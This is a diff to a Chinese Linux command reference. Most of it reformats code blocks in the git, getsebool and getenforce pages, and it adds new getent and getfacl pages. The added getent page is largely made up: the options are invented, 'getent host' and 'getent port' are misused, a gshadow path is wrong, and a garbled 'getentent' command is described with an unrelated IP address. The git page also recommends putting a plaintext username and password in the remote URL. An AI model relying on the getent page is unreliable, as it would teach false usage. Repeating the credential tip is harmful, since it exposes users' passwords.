**grename命令** 可以重命名卷组的名称。
-### 语法
+### 语法
-```
+```shell
getenforce
```
@@ -17,9 +17,9 @@ getenforce
查看当前SELinux的应用模式。
-```bash
+```shell
[root@localhost ~]# getenforce
Enforcing
```
-
+
diff --git a/command/getent.md b/command/getent.md
new file mode 100644
index 00000000000..1a21dbbaee8
--- /dev/null
+++ b/command/getent.md
@@ -0,0 +1,69 @@
+getent
+===
+
+查询 DNS 名称服务器中的命名空间
+
+## 语法
+
+```shell
+getent [选项] 主机名或域名
+```
+
+## 选项
+
+```shell
+-h # 显示帮助信息
+-n # 不解析 DNS 名称
+-p # 打印解析过程
+-s # 只输出有关已知主机的信息
+-t # 指定 DNS 查询类型 (默认为 NXDOMAIN)
+-U # 使用顶级域名服务器
+-V # 显示版本信息
+-O # 以其他模式解析命名空间
+```
+
+主机名或域名可以是通配符 (例如 *.example.com) 或单个主机名。如果指定了 -h 选项,则显示帮助信息。如果指定了 -n 选项,则不再解析 DNS 名称。如果指定了 -p 选项,则打印解析过程。如果指定了 -s 选项,则只输出有关已知主机的信息。如果指定了 -t 选项,则指定 DNS 查询类型 (默认为 NXDOMAIN)。如果指定了 -U 选项,则使用顶级域名服务器。如果指定了 -V 选项,则显示版本信息。如果指定了 -O 选项,则解析命名空间以其他模式。
+
+## 实例
+
+1. 查看所有已知账户:
+
+```shell
+getent passwd
+```
+
+这将列出所有已知账户的密码文件,例如 `/etc/passwd` 或 `/run/user/1000/gshadow`。
+
+2. 查看指定账户的信息:
+
+```shell
+getent passwd someuser
+```
+
+这将只列出指定用户的信息,例如用户名、密码、uid、gid 等。
+
+3. 查看指定域名的 DNS 记录:
+
+```shell
+getent host example.com
+```
+
+这将列出 example.com 域名的 DNS 记录,包括主机名、IP 地址和其他相关信息。
+
+4. 查看指定 IP 地址的 TCP 连接信息:
+
+```shell
+getentent ips8.ipaddress.com 80
+```
+
+这将列出 IP 地址为 192.168.0.100 的 TCP 连接信息,例如连接的服务器地址、端口号和连接状态。
+
+5. 查看指定主机的已知端口:
+
+```shell
+getent port somehost.example.com
+```
+
+这将列出指定主机的已知端口,例如端口号、协议和主机名。
+
+这些只是 `getent` 命令的一些例子,它还有许多其他用法和选项,可以根据需要进行调整。
\ No newline at end of file
diff --git a/command/getfacl.md b/command/getfacl.md
new file mode 100644
index 00000000000..fbfb5271ee9
--- /dev/null
+++ b/command/getfacl.md
@@ -0,0 +1,49 @@
+getfacl
+===
+
+获取文件访问控制列表(access control lists)
+
+## 补充说明
+
+对于每个文件,`getfacl`都会显示文件名、所有者、组和访问控制列表 (ACL)。如果目录有默认ACL,`getfacl` 也会显示默认ACL。非目录不能有默认ACL。
+如果在不支持 ACL 的文件系统上使用`getfacl`,`getfacl`会显示由传统文件模式权限位定义的访问权限。请参考`setfacl`。
+
+### 选项
+
+```shell
+-a, --access # 显示文件访问控制列表。
+-d, --default # 显示默认访问控制列表。
+-c, --omit-header # 不显示注释头(每个文件输出的前三行)。
+-e, --all-effective # 打印所有有效权限注释,即使与 ACL 条目定义的权限相同。
+-E, --no-effective # 不打印有效权限注释。
+-s, --skip-base # 跳过只有基本 ACL 条目(所有者、组、其他)的文件。
+-R, --recursive # 递归列出所有文件和目录的 ACL。
+-L, --logical # 逻辑路径,跟踪目录的符号链接。默认行为是跟踪符号链接参数,跳过子目录中遇到的符号链接。仅与 -R 结合使用时有效。
+-P, --physical # 物理路径,不跟踪指向目录的符号链接。这也会跳过符号链接参数。 仅与 -R 结合使用时有效。
+-t, --tabular # 使用另一种表格输出格式。同时显示 ACL 和默认 ACL。因 ACL 屏蔽条目而无效的权限会以大写。ACL_USER_OBJ 和 ACL_GROUP_OBJ 条目的条目标签名称也以大写字母显示,这有助于识别这些条目。
+-p, --absolute-names # 不删除前导斜线字符 (`/')。默认行为是去掉前导斜线字符。
+-n, --numeric # 列出数字用户和组 ID。
+-v, --version # 打印 getfacl 的版本并退出。
+-h, --help # 打印命令行选项的帮助说明。
+-- # 命令行选项结束。所有剩余参数都被解释为文件名,即使它们以破折号字符开头。
+- # 如果文件名参数是单破折号字符,getfacl 将从标准输入读取文件列表。
+```
+
+### 实例
+
+getfacl 命令默认显示文件访问控制列表。打开终端,并输入以下命令:
+
+```shell
+getfacl tmp
+
+# file: tmp
+# owner: zdx
+# group: zdx
+# flags: -s-
+user::rwx
+group::rwx
+other::r-x
+default:user::rwx
+default:group::rwx
+default:other::r-x
+```
diff --git a/command/getsebool.md b/command/getsebool.md
index c94b78fb406..f0e386974a2 100644
--- a/command/getsebool.md
+++ b/command/getsebool.md
@@ -1,29 +1,29 @@
getsebool
===
-
+
查询SElinux策略内各项规则的布尔值
## 补充说明
**getsebool命令** 是用来查询SElinux策略内各项规则的布尔值。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。
-### 语法
+### 语法
-```
+```shell
getsebool [-a] [布尔值条款]
```
-### 选项
+### 选项
-```
+```shell
-a:列出目前系统上面的所有布尔值条款设置为开启或关闭值。
```
-### 实例
+### 实例
查询本系统内所有的布尔值设置状况:
-```
+```shell
getsebool -a
NetworkManager_disable_trans --> off
allow_console_login --> off
@@ -34,11 +34,9 @@ allow_daemons_dump_core --> on
查询httpd_enable_homedirs是否为关闭,若没关闭,请关闭它:
-```
+```shell
getsebool httpd_enable_homedirs
-setsebool -P httpd_enable_homedirs=0 //0是关闭 1是开启
-
+setsebool -P httpd_enable_homedirs=0 # 0是关闭 1是开启
```
-
\ No newline at end of file
diff --git a/command/git.md b/command/git.md
index b4ce3445a9e..7295ee20e29 100644
--- a/command/git.md
+++ b/command/git.md
@@ -27,19 +27,15 @@ Git迅速成为最流行的分布式版本控制系统,尤其是2008年,GitH
[Git常用命令清单](https://github.com/jaywcjlove/handbook/blob/master/other/Git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B8%85%E5%8D%95.md)
-### 语法
+### 语法
-```
-git [--version] [--help] [-C ] [-c name=value]
- [--exec-path[=]] [--html-path] [--man-path] [--info-path]
- [-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
- [--git-dir=] [--work-tree=] [--namespace=]
- []
+```shell
+git [--version] [--help] [-C ] [-c name=value] [--exec-path[=]] [--html-path] [--man-path] [--info-path] [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] [--git-dir=] [--work-tree=] [--namespace=] []
```
-### 选项
+### 选项
-```
+```shell
add 将文件内容添加到索引
bisect 通过二进制查找引入错误的更改
branch 列出,创建或删除分支
@@ -67,50 +63,62 @@ tag 创建,列出,删除或验证使用GPG签名的标签对象
init
-`git init` #初始化
+```shell
+git init # 初始化
+```
status
-`git status` #获取状态
+```shell
+git status # 获取状态
+```
add
-`git add file` # .或*代表全部添加
-`git rm --cached ` # 在commit之前撤销git add操作
-`git reset head` # 好像比上面`git rm --cached`更方便
+```shell
+git add file # .或*代表全部添加
+git rm --cached # 在commit之前撤销git add操作
+git reset head # 好像比上面`git rm --cached`更方便
+```
commit
-`git commit -m "message"` #此处注意乱码
+```shell
+git commit -m "message" # 此处注意乱码
+```
remote
-`git remote add origin git@github.com:JSLite/test.git` #添加源
+```shell
+git remote add origin git@github.com:JSLite/test.git # 添加源
+```
push
-```bash
-git push -u origin master # push同事设置默认跟踪分支
+```shell
+git push -u origin master # push 同时设置默认跟踪分支
git push origin master
git push -f origin master # 强制推送文件,缩写 -f(全写--force)
```
clone
-`git clone git://github.com/JSLite/JSLite.js.git `
-`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹
-`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。
+```shell
+git clone git://github.com/JSLite/JSLite.js.git
+git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹
+git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。
+```
git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>`
-```bash
-$ git clone http[s]://example.com/path/to/repo.git/
-$ git clone ssh://example.com/path/to/repo.git/
-$ git clone git://example.com/path/to/repo.git/
-$ git clone /opt/git/project.git
-$ git clone file:///opt/git/project.git
-$ git clone ftp[s]://example.com/path/to/repo.git/
-$ git clone rsync://example.com/path/to/repo.git/
+```shell
+git clone http[s]://example.com/path/to/repo.git/
+git clone ssh://example.com/path/to/repo.git/
+git clone git://example.com/path/to/repo.git/
+git clone /opt/git/project.git
+git clone file:///opt/git/project.git
+git clone ftp[s]://example.com/path/to/repo.git/
+git clone rsync://example.com/path/to/repo.git/
```
## 配置
@@ -119,7 +127,7 @@ $ git clone rsync://example.com/path/to/repo.git/
## 修改项目中的个人信息
-```bash
+```shell
git help config # 获取帮助信息,查看修改个人信息的参数
git config --global user.name "小弟调调" # 修改全局名字
git config --global user.email "wowohoo@qq.com" # 修改全局邮箱
@@ -128,9 +136,9 @@ git config --list # 查看配置的信息
### 配置自动换行
-自动转换坑太大,提交到git是自动将换行符转换为lf
+自动转换坑太大,提交到git是自动将换行符转换为lf
-```bash
+```shell
git config --global core.autocrlf input
```
@@ -140,7 +148,7 @@ git config --global core.autocrlf input
这个密钥用来跟 github 通信,在本地终端里生成然后上传到 github
-```bash
+```shell
ssh-keygen -t rsa -C 'wowohoo@qq.com' # 生成密钥
ssh-keygen -t rsa -C "wowohoo@qq.com" -f ~/.ssh/ww_rsa # 指定生成目录文件名字
ssh -T git@github.com # 测试是否成功
@@ -155,14 +163,16 @@ ssh -T git@github.com # 测试是否成功
**2.密钥复制到托管平台上**
-`vim ~/.ssh/jslite_rsa.pub`
-打开公钥文件 `jslite_rsa.pub` ,并把内容复制至代码托管平台上
+`vim ~/.ssh/jslite_rsa.pub`
+打开公钥文件 `jslite_rsa.pub` ,并把内容复制至代码托管平台上
**3.修改config文件**
-`vim ~/.ssh/config` #修改config文件,如果没有创建 `config`
+```shell
+vim ~/.ssh/config # 修改config文件,如果没有创建 `config`
+```
-```bash
+```shell
Host jslite.github.com
HostName github.com
User git
@@ -184,7 +194,7 @@ Host work.github.com
**4.测试**
-```bash
+```shell
ssh -T git@jslite.github.com # `@`后面跟上定义的Host
ssh -T work.github.com # 通过别名测试
ssh -i ~/公钥文件地址 Host别名 # 如 ssh -i ~/.ssh/work_rsa work.github.com
@@ -192,7 +202,7 @@ ssh -i ~/公钥文件地址 Host别名 # 如 ssh -i ~/.ssh/work_rsa work.github
**5.使用**
-```bash
+```shell
# 原来的写法
git clone git@github.com:/learngit.git
# 现在的写法
@@ -204,7 +214,7 @@ git clone git@work.github.com:/learngit.git
如果你修改了id_rsa的名字,你需要将ssh key添加到SSH agent中,如:
-```bash
+```shell
ssh-add ~/.ssh/jslite_rsa
ssh-add -l # 查看所有的key
ssh-add -D # 删除所有的key
@@ -213,14 +223,14 @@ ssh-add -d ~/.ssh/jslite_rsa # 删除指定的key
### 免密码登录远程服务器
-```bash
-$ ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key
-$ ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次
+```shell
+ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key
+ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次
```
编辑 `~/.ssh/config`
-```bash
+```shell
Host aliyun1
HostName 192.168.182.112
User root
@@ -232,34 +242,34 @@ Host aliyun1
### https协议下提交代码免密码
-```bash
+```shell
git clone https://github.com/username/rep.git
```
通过上面方式克隆可能需要密码,解决办法:进入当前克隆的项目 `vi rep/.git/config` 编辑 `config`, 按照下面方式修改,你就可以提交代码不用输入密码了。
-```diff
+```shell
[core]
- repositoryformatversion = 0
- filemode = true
- bare = false
- logallrefupdates = true
- ignorecase = true
- precomposeunicode = true
+ repositoryformatversion = 0
+ filemode = true
+ bare = false
+ logallrefupdates = true
+ ignorecase = true
+ precomposeunicode = true
[remote "origin"]
-- url = https://github.com/username/rep.git
-+ url = https://用户名:密码@github.com/username/rep.git
- fetch = +refs/heads/*:refs/remotes/origin/*
+- url = https://github.com/username/rep.git
++ url = https://用户名:密码@github.com/username/rep.git
+ fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
- remote = origin
- merge = refs/heads/master
+ remote = origin
+ merge = refs/heads/master
```
### 文件推向3个git库
**1. 增加3个远程库地址**
-```bash
+```shell
git remote add origin https://github.com/JSLite/JSLite.git
git remote set-url --add origin https://gitlab.com/wang/JSLite.js.git
git remote set-url --add origin https://oschina.net/wang/JSLite.js.git
@@ -267,17 +277,19 @@ git remote set-url --add origin https://oschina.net/wang/JSLite.js.git
**2. 删除其中一个 set-url 地址**
-```bash
+```shell
usage: git remote set-url [--push] []
or: git remote set-url --add
or: git remote set-url --delete
```
-`git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git`
+```shell
+git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git
+```
**3.推送代码**
-```bash
+```shell
git push origin master
git push -f origin master # 强制推送
```
@@ -287,7 +299,7 @@ git push -f origin master # 强制推送
只能拉取 `origin` 里的一个url地址,这个fetch-url
默认为你添加的到 `origin`的第一个地址
-```bash
+```shell
git pull origin master
git pull --all # 获取远程所有内容包括tag
git pull origin next:master # 取回origin主机的next分支,与本地的master分支合并
@@ -301,7 +313,7 @@ git merge origin/next
如果远程主机删除了某个分支,默认情况下,git pull 不会在拉取远程分支的时候,删除对应的本地分支。这是为了防止,由于其他人操作了远程主机,导致git pull不知不觉删除了本地分支。
但是,你可以改变这个行为,加上参数 -p 就会在本地删除远程已经删除的分支。
-```bash
+```shell
$ git pull -p
# 等同于下面的命令
$ git fetch --prune origin
@@ -310,32 +322,31 @@ $ git fetch -p
**5.更改pull**
-只需要更改config文件里,那三个url的顺序即可,fetch-url会直接对应排行第一的那个utl连接。
-
+只需要更改config文件里,那三个url的顺序即可,fetch-url会直接对应排行第一的那个utl连接。
### 修改远程仓库地址
-```bash
+```shell
git remote remove origin # 删除该远程路径
git remote add origin git@jslite.github.com:JSLite/JSLite.git # 添加远程路径
```
### 撤销远程记录
-```bash
+```shell
git reset --hard HEAD~1 # 撤销一条记录
git push -f origin HEAD:master # 同步到远程仓库
```
### 放弃本地的文件修改
-```bash
+```shell
git reset --hard FETCH_HEAD # FETCH_HEAD表示上一次成功git pull之后形成的commit点。然后git pull
```
`git reset --hard FETCH_HEAD` 出现错误
-```bash
+```shell
git pull
You are not currently on a branch, so I cannot use any
'branch..merge' in your configuration file.
@@ -346,14 +357,14 @@ See git-pull(1) FOR details.
解决方法:
-```bash
+```shell
git checkout -b temp # 新建+切换到temp分支
git checkout master
```
### 最简单放弃本地修改内容
-```bash
+```shell
# 如果有的修改以及加入暂存区的话
git reset --hard
# 还原所有修改,不会删除新增的文件
@@ -364,21 +375,20 @@ git clean -xdf
通过存储暂存区stash,在删除暂存区的方法放弃本地修改。
-```bash
+```shell
git stash && git stash drop
```
### 回滚到某个commit提交
-```bash
+```shell
git revert HEAD~1 # 撤销一条记录 会弹出 commit 编辑
git push # 提交回滚
```
-
### 回退到某一个版本
-```bash
+```shell
git reset --hard
# 例如 git reset --hard a3hd73r
# --hard代表丢弃工作区的修改,让工作区与版本代码一模一样,与之对应,
@@ -387,14 +397,14 @@ git reset --hard
### 去掉某个commit
-```bash
+```shell
# 实质是新建了一个与原来完全相反的commit,抵消了原来commit的效果
git revert
```
### 新建一个空分支
-```bash
+```shell
# 这种方式新建的分支(gh-pages)是没有 commit 记录的
git checkout --orphan gh-pages
# 删除新建的gh-pages分支原本的内容,如果不删除,提交将作为当前分支的第一个commit
@@ -405,7 +415,7 @@ git state
### 合并多个commit
-```bash
+```shell
# 这个命令,将最近4个commit合并为1个,HEAD代表当前版本。
# 将进入VIM界面,你可以修改提交信息。
git rebase -i HEAD~4
@@ -427,7 +437,7 @@ git push -f origin master
### 修改远程Commit记录
-```bash
+```shell
git commit --amend
# amend只能修改没有提交到线上的,最后一次commit记录
git rebase -i HEAD~3
@@ -450,7 +460,7 @@ pick 6293516 feat(Divider): Add Divider component.
保存并退出,会弹出下面提示
-```bash
+```shell
# You can amend the commit now, with
#
# git commit --amend
@@ -469,11 +479,9 @@ git rebase --continue
git push -f origin master
```
-
-
### 添加忽略文件
-```
+```shell
echo node_modules/ >> .gitignore
```
@@ -491,7 +499,7 @@ echo node_modules/ >> .gitignore
在同步之前,需要创建一个远程点指向上游仓库(repo).如果你已经派生了一个原始仓库,可以按照如下方法做。
-```bash
+```shell
$ git remote -v
# List the current remotes (列出当前远程仓库)
# origin https://github.com/user/repo.git (fetch)
@@ -510,7 +518,7 @@ $ git remote -v
同步上游仓库到你的仓库需要执行两步:首先你需要从远程拉去,之后你需要合并你希望的分支到你的本地副本分支。从上游的存储库中提取分支以及各自的提交内容。 `master` 将被存储在本地分支机构 `upstream/master`
-```bash
+```shell
git fetch upstream
# remote: Counting objects: 75, done.
# remote: Compressing objects: 100% (53/53), done.
@@ -522,14 +530,14 @@ git fetch upstream
检查你的 fork's 本地 `master` 分支
-```bash
+```shell
git checkout master
# Switched to branch 'master'
```
合并来自 `upstream/master` 的更改到本地 master 分支上。 这使你的前 fork's `master` 分支与上游资源库同步,而不会丢失你本地修改。
-```bash
+```shell
git merge upstream/master
# Updating a422352..5fdff0f
# Fast-forward
@@ -540,14 +548,13 @@ git merge upstream/master
# create mode 100644 README.md
```
-
### 批量修改历史commit中的名字和邮箱
**1.克隆仓库**
注意参数,这个不是普通的clone,clone下来的仓库并不能参与开发
-```bash
+```shell
git clone --bare https://github.com/user/repo.git
cd repo.git
```
@@ -560,7 +567,7 @@ CORRECT_EMAIL更正的邮箱
将下面代码复制放到命令行中执行
-```bash
+```shell
git filter-branch -f --env-filter '
OLD_EMAIL="wowohoo@qq.com"
CORRECT_NAME="小弟调调"
@@ -580,7 +587,7 @@ fi
执行过程
-```bash
+```shell
Rewrite 160d4df2689ff6df3820563bfd13b5f1fb9ba832 (479/508) (16 seconds passed, remaining 0 predicted)
Ref 'refs/heads/dev' was rewritten
Ref 'refs/heads/master' was rewritten
@@ -590,28 +597,27 @@ Ref 'refs/heads/master' was rewritten
同步到push远程git仓库
-```bash
+```shell
git push --force --tags origin 'refs/heads/*'
```
我还遇到了如下面错误,lab默认给master分支加了保护,不允许强制覆盖。`Project(项目)`->`Setting`->`Repository` 菜单下面的`Protected branches`把master的保护去掉就可以了。修改完之后,建议把master的保护再加回来,毕竟强推不是件好事。
-```bash
+```shell
remote: GitLab: You are not allowed to force push code to a protected branch on this project.
```
当上面的push 不上去的时候,先 `git pull` 确保最新代码
-```bash
+```shell
git pull --allow-unrelated-histories
# 或者指定分枝
git pull origin master --allow-unrelated-histories
```
-
### 查看某个文件历史
-```bash
+```shell
git log --pretty=oneline 文件名 # 列出文件的所有改动历史
git show c178bf49 # 某次的改动的修改记录
git log -p c178bf49 # 某次的改动的修改记录
@@ -621,7 +627,7 @@ git whatchanged 文件名 # 显示某个文件的每个版本提交信息:提
### 打造自己的git命令
-```sh
+```shell
git config --global alias.st status
git config --global alias.br branch
git config --global alias.co checkout
@@ -630,13 +636,13 @@ git config --global alias.ci commit
配置好后再输入git命令的时候就不用再输入一大段了,例如我们要查看状态,只需:
-```sh
+```shell
git st
```
### 中文乱码的解决方案
-```bash
+```shell
git config --global core.quotepath false
```
@@ -644,29 +650,39 @@ git config --global core.quotepath false
### init
-`git init` #初始化
+```shell
+git init # 初始化
+```
### status
-`git status` #获取状态
+```shell
+git status # 获取状态
+```
### add
-`git add file` # .或*代表全部添加
-`git rm --cached ` # 在commit之前撤销git add操作
-`git reset head` # 好像比上面`git rm --cached`更方便
+```shell
+git add file # .或*代表全部添加
+git rm --cached # 在commit之前撤销git add操作
+git reset head # 好像比上面`git rm --cached`更方便
+```
### commit
-`git commit -m "message"` #此处注意乱码
+```shell
+git commit -m "message" # 此处注意乱码
+```
### remote
-`git remote add origin git@github.com:JSLite/test.git` #添加源
+```shell
+git remote add origin git@github.com:JSLite/test.git # 添加源
+```
### push
-```bash
+```shell
git push -u origin master # push同事设置默认跟踪分支
git push origin master
git push -f origin master # 强制推送文件,缩写 -f(全写--force)
@@ -674,40 +690,42 @@ git push -f origin master # 强制推送文件,缩写 -f(全写--force)
## clone
-`git clone git://github.com/JSLite/JSLite.js.git `
-`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹
-`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。
+```shell
+git clone git://github.com/JSLite/JSLite.js.git
+git clone git://github.com/JSLite/JSLite.js.git mypro # 克隆到自定义文件夹
+git clone [user@]example.com:path/to/repo.git/ # SSH协议还有另一种写法。
+```
git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>`
-```bash
-$ git clone http[s]://example.com/path/to/repo.git/
-$ git clone ssh://example.com/path/to/repo.git/
-$ git clone git://example.com/path/to/repo.git/
-$ git clone /opt/git/project.git
-$ git clone file:///opt/git/project.git
-$ git clone ftp[s]://example.com/path/to/repo.git/
-$ git clone rsync://example.com/path/to/repo.git/
+```shell
+git clone http[s]://example.com/path/to/repo.git/
+git clone ssh://example.com/path/to/repo.git/
+git clone git://example.com/path/to/repo.git/
+git clone /opt/git/project.git
+git clone file:///opt/git/project.git
+git clone ftp[s]://example.com/path/to/repo.git/
+git clone rsync://example.com/path/to/repo.git/
```
## 本地
### help
-```bash
+```shell
git help config # 获取帮助信息
```
### add
-```bash
+```shell
git add * # 跟踪新文件
git add -u [path] # 添加[指定路径下]已跟踪文件
```
### rm
-```bash
+```shell
rm *&git rm * # 移除文件
git rm -f * # 移除文件
git rm --cached * # 取消跟踪
@@ -717,7 +735,7 @@ git log # 查看提交记录
### commit
-```bash
+```shell
git commit #提交更新
git commit -m 'message' #提交说明
git commit -a #跳过使用暂存区域,把所有已经跟踪过的文件暂存起来一并提交
@@ -730,7 +748,7 @@ git commit -m '概要描述'$'\n\n''1.详细描述'$'\n''2.详细描述' #提交
### reset
-```bash
+```shell
git reset HEAD * # 取消已经暂存的文件
git reset --mixed HEAD * # 同上
git reset --soft HEAD * # 重置到指定状态,不会修改索引区和工作树
@@ -740,7 +758,7 @@ git reset -- files * # 重置index区文件
### revert
-```bash
+```shell
git revert HEAD # 撤销前一次操作
git revert HEAD~ # 撤销前前一次操作
git revert commit # 撤销指定操作
@@ -748,7 +766,7 @@ git revert commit # 撤销指定操作
### checkout
-```bash
+```shell
git checkout -- file # 取消对文件的修改(从暂存区——覆盖worktree file)
git checkout branch|tag|commit -- file_name # 从仓库取出file覆盖当前分支
git checkout HEAD~1 [文件] # 将会更新 working directory 去匹配某次 commit
@@ -758,7 +776,7 @@ git checkout -b gh-pages 0c304c9 # 这个表示 从当前分支 commit 哈希
### diff
-```bash
+```shell
git diff file # 查看指定文件的差异
git diff --stat # 查看简单的diff结果
git diff # 比较Worktree和Index之间的差异
@@ -773,7 +791,7 @@ git diff master...test # 你想找出‘master’,‘test’的共有 父分
### stash
-```bash
+```shell
git stash # 将工作区现场(已跟踪文件)储藏起来,等以后恢复后继续工作。
git stash list # 查看保存的工作现场
git stash apply # 恢复工作现场
@@ -784,20 +802,20 @@ git stash apply stash@{0} # 恢复指定的工作现场,当你保存了不只
### merge
-```bash
+```shell
git merge --squash test # 合并压缩,将test上的commit压缩为一条
```
### cherry-pick
-```bash
+```shell
git cherry-pick commit # 拣选合并,将commit合并到当前分支
git cherry-pick -n commit # 拣选多个提交,合并完后可以继续拣选下一个提交
```
### rebase
-```bash
+```shell
git rebase master # 将master分之上超前的提交,变基到当前分支
git rebase --onto master 169a6 # 限制回滚范围,rebase当前分支从169a6以后的提交
git rebase --interactive # 交互模式,修改commit
@@ -810,7 +828,7 @@ git rebase --abort # 取消合并
### 删除
-```bash
+```shell
git push origin :branchName # 删除远程分支
git push origin --delete new # 删除远程分支new
git branch -d branchName # 删除本地分支,强制删除用-D
@@ -821,17 +839,19 @@ git remote prune origin # 远程删除了,本地还能看到远程存在,这
### 提交
-```bash
+```shell
git push -u origin branchName # 提交分支到远程origin主机中
```
### 拉取
-`git fetch -p` #拉取远程分支时,自动清理 远程分支已删除,本地还存在的对应同名分支。
+```shell
+git fetch -p # 拉取远程分支时,自动清理 远程分支已删除,本地还存在的对应同名分支。
+```
### 分支合并
-```bash
+```shell
git merge branchName # 合并分支 - 将分支branchName和当前所在分支合并
git merge origin/master # 在本地分支上合并远程分支。
git rebase origin/master # 在本地分支上合并远程分支。
@@ -840,11 +860,13 @@ git merge test # 将test分支合并到当前分支
### 重命名
-`git branch -m old new` #重命名分支
+```shell
+git branch -m old new # 重命名分支
+```
### 查看
-```bash
+```shell
git branch # 列出本地分支
git branch -r # 列出远端分支
git branch -a # 列出所有分支
@@ -856,7 +878,7 @@ git remote show origin # 可以查看remote地址,远程分支
### 新建
-```bash
+```shell
git branch test # 新建test分支
git branch newBrach 3defc69 # 指定哈希3defc69,新建分支名字为newBrach
git checkout -b newBrach origin/master # 取回远程主机的更新以后,在它的基础上创建一个新的分支
@@ -865,14 +887,14 @@ git checkout -b newBrach 3defc69 # 以哈希值3defc69,新建 newBrach 分支
### 连接
-```bash
+```shell
git branch --set-upstream dev origin/dev # 将本地dev分支与远程dev分支之间建立链接
git branch --set-upstream master origin/next # 手动建立追踪关系
```
### 分支切换
-```bash
+```shell
git checkout test # 切换到test分支
git checkout -b test # 新建+切换到test分支
git checkout -b test dev # 基于dev新建test分支,并切换
@@ -880,7 +902,7 @@ git checkout -b test dev # 基于dev新建test分支,并切换
## 远端
-```bash
+```shell
git fetch <远程主机名> <分支名> # fetch取回所有分支(branch)的更新
git fetch origin remotebranch[:localbranch] # 从远端拉去分支[到本地指定分支]
git merge origin/branch # 合并远端上指定分支
@@ -895,13 +917,13 @@ git checkout -b [--track] test origin/dev # 基于远端dev分支,新建本地
克隆项目同时克隆submodule
-```bash
+```shell
git clone https://github.com/jaywcjlove/handbook.git --depth=1 --recurse-submodules
```
克隆项目,之后再手动克隆 submodule 子项目
-```bash
+```shell
git submodule add --force '仓库地址' '路径'
# 其中,仓库地址是指子模块仓库地址,路径指将子模块放置在当前工程下的路径。
# 注意:路径不能以 / 结尾(会造成修改不生效)、不能是现有工程已有的目录(不能順利 Clone)
@@ -912,7 +934,7 @@ git submodule update --init --recursive # 下载的工程带有submodule
当使用`git clone`下来的工程中带有submodule时,初始的时候,submodule的内容并不会自动下载下来的,此时,只需执行如下命令:
-```bash
+```shell
git submodule foreach git pull # submodule 里有其他的 submodule 一次更新
git submodule foreach git pull origin master # submodule更新
@@ -922,7 +944,7 @@ git submodule foreach --recursive git submodule update
## 删除文件
-```bash
+```shell
git rm -rf node_modules/
```
@@ -930,7 +952,7 @@ git rm -rf node_modules/
git是一个分布式代码管理工具,所以可以支持多个仓库,在git里,服务器上的仓库在本地称之为remote。个人开发时,多源用的可能不多,但多源其实非常有用。
-```bash
+```shell
git remote add origin1 git@github.com:yanhaijing/data.js.git
git remote # 显示全部源
git remote -v # 显示全部源+详细信息
@@ -943,10 +965,10 @@ git remote show origin # 查看指定源的全部信息
当开发到一定阶段时,给程序打标签是非常棒的功能。
-```bash
+```shell
git tag -a v0.1 -m 'my version 1.4' # 新建带注释标签
git push origin --tags # 一次性推送所有分支
-git push origin v1.5 # 推送单个tag到orgin源上
+git push origin v1.5 # 推送单个tag到origin源上
git tag -v v1.4.2.1 # 验证标签,验证已经签署的标签
git show v1.5 # 看到对应的 GPG 签
@@ -961,10 +983,11 @@ git --git-dir='<绝对地址>/.git' describe --tags HEAD # 查看本地版本信
## 日志log
-```bash
+```shell
git config format.pretty oneline #显示历史记录时,每个提交的信息只显示一行
git config color.ui true #彩色的 git 输出
-git log #查看最近的提交日志
+git log #查看提交日志,从最近的提交开始显示
+git log --reverse #查看提交日志,从最远的提交开始显示
git log --pretty=oneline #单行显示提交日志
git log --graph --pretty=oneline --abbrev-commit
git log -num #显示第几条log(倒数)
@@ -995,14 +1018,14 @@ git config --global format.pretty '%h : %s - %ad' --date=short #日期YYYY-MM-DD
## 重写历史
-```bash
+```shell
git commit --amend # 改变最近一次提交
git rebase -i HEAD~3 # 修改最近三次的提交说明,或者其中任意一次
git commit --amend # 保存好了,这些指示很明确地告诉了你该干什么
git rebase --continue # 修改提交说明,退出编辑器。
```
-```bash
+```shell
pick f7f3f6d changed my name a bit
pick 310154e updated README formatting and added blame
pick a5f4a0d added cat-file
@@ -1026,12 +1049,11 @@ rm -rf repo.git
## 其它
-```bash
+```shell
git help * # 获取命令的帮助信息
git status # 获取当前的状态,非常有用,因为git会提示接下来的能做的操作
```
-
## 报错问题解决
**1. `git fatal: protocol error: bad line length character: No s`**
@@ -1042,7 +1064,7 @@ git status # 获取当前的状态,非常有用,因为git会提示接下来
解决github push错误的办法:
-```bash
+```shell
#vim 编辑器打开 当前项目中的config文件
vim .git/config
@@ -1059,13 +1081,13 @@ vim .git/config
在查看状态的时候 git status 如果是中文就显示下面的情况
-```bash
+```shell
\344\272\247\345\223\201\351\234\200\346\261\202
```
解决这个问题方法是:
-```bash
+```shell
git config --global core.quotepath false
```
@@ -1081,7 +1103,7 @@ git config --global core.quotepath false
- [图解Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
- [git-简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
- [learnGitBranching 在线学习工具](http://pcottle.github.io/learnGitBranching/)
-- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html)
+- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html)
- [廖雪峰的Git教程](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
